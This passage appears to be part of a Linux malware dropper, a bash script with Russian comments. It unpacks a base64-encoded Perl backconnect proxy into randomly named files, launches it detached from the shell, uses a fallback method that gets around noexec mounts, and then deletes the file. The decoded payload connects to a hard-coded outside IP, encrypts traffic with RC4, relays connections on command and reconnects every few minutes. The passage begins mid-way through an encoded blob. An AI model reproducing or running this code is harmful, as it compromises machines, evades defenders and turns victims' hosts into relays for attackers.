7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_e21fc450() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSAr